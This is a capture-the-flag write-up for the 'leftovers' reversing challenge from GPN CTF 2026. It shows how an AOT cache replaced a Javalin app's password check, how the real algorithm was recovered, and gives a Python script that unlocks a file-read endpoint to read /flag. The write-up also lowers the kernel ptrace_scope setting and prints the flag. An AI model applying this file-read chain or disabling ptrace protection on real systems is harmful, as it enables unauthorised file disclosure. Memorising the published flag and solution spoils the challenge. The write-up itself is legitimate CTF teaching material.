Challenge: leftovers · CTF: GPN CTF 2026 · Category: Reversing · Difficulty: Medium

Summary

A Javalin “fridge tracker” web app is shipped as leftovers.jar + cache.aot + a custom fastdebug JDK and run with -XX:AOTCache=cache.aot. The jar decompiles to a /set-image-dir endpoint protected by the password supersecret, but the live service rejects it — the AOT cache overrides Server.class with a different validator. Dumping the actually-loaded class with the HotSpot Serviceability Agent reveals the real password algorithm; reversing it unlocks a file-read primitive that reads /flag.

Solution

Step 1: The cached class != the jar

POST /set-image-dir {"password":"supersecret",...} returns Invalid password, even though that’s exactly what the decompiled jar checks. The hint is in the name and the Dockerfile: the app runs with -XX:AOTCache=cache.aot, and an AOT/CDS cache stores pre-linked class bytecode that takes precedence over the jar. The “leftovers” are the overriding classes inside the cache.

The interned string supersecret is present and intact in the cache’s archived heap, so it’s the bytecode, not a constant, that differs. To see what actually runs, attach the Serviceability Agent to the live JVM and dump the loaded class (relax ptrace_scope so SA can attach to a sibling):

1
2
3
4
5
sudo sh -c 'echo 0 > /proc/sys/kernel/yama/ptrace_scope'
./my-jdk/bin/java -XX:AOTCache=cache.aot -jar leftovers.jar &      # note PID
printf 'dumpclass de.kitctf.gpn24.leftovers.Server\nquit\n' \
  | ./my-jdk/bin/jhsdb clhsdb --pid <PID>                          # writes Server.class
jadx Server.class

The dumped Server.class (8570 bytes vs 8212 in the jar) contains the real check: password -> ROT13(letters; digits pass through) -> reverse -> XOR(key), compared against a fixed target array.

Step 2: Reverse the password and run the file-read chain

Invert the transform to get the password (algomaster99), then abuse the app’s file-read: set-image-dir to /, register a product named flag with no imageUrl (so nothing overwrites the file), and GET /images/flag. The name sanitizer maps [^a-zA-Z0-9_-] to _, so only a dotless path component like /flag is reachable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys, urllib.request

cArr   = [233,202,ord("U"),ord("="),ord("H"),144,198,179,218,190,240,ord(";")]
target = [208,243,ord("0"),ord("O"),ord("/"),246,168,201,184,202,137,ord("U")]

after_rev = [target[i] ^ cArr[i % len(cArr)] for i in range(len(target))]  # undo XOR
after_rot = after_rev[::-1]                                                # undo reverse
password = "".join(                                                        # undo ROT13
    chr(c) if ord("0") <= c <= ord("9") else chr((c - ord("a") + 13) % 26 + ord("a"))
    for c in after_rot)
print("password:", password)  # algomaster99

URL = sys.argv[1] if len(sys.argv) > 1 else \
    "https://smoked-salsiccia-with-charred-yuzu-curd-v6ri.gpn24.ctf.kitctf.de"

def req(method, path, body=None):
    r = urllib.request.Request(URL + path, data=body.encode() if body else None,
        method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(r, timeout=30).read().decode(errors="replace")

req("POST", "/set-image-dir", f'{{"password":"{password}","newPath":"/"}}')
req("PUT", "/products/flag",
    '{"name":"flag","quantity":1,"bestBefore":"2030-01-01T00:00:00","notAfter":"2030-01-01T00:00:00"}')
print("FLAG:", req("GET", "/images/flag").strip())

Output:

1
2
password: algomaster99
FLAG: GPNCTF{Left_0R_RIgH7_cOd3_CacH3_v4LIdAt1ON_SayS_60OD_NighT}

Flag

1
GPNCTF{Left_0R_RIgH7_cOd3_CacH3_v4LIdAt1ON_SayS_60OD_NighT}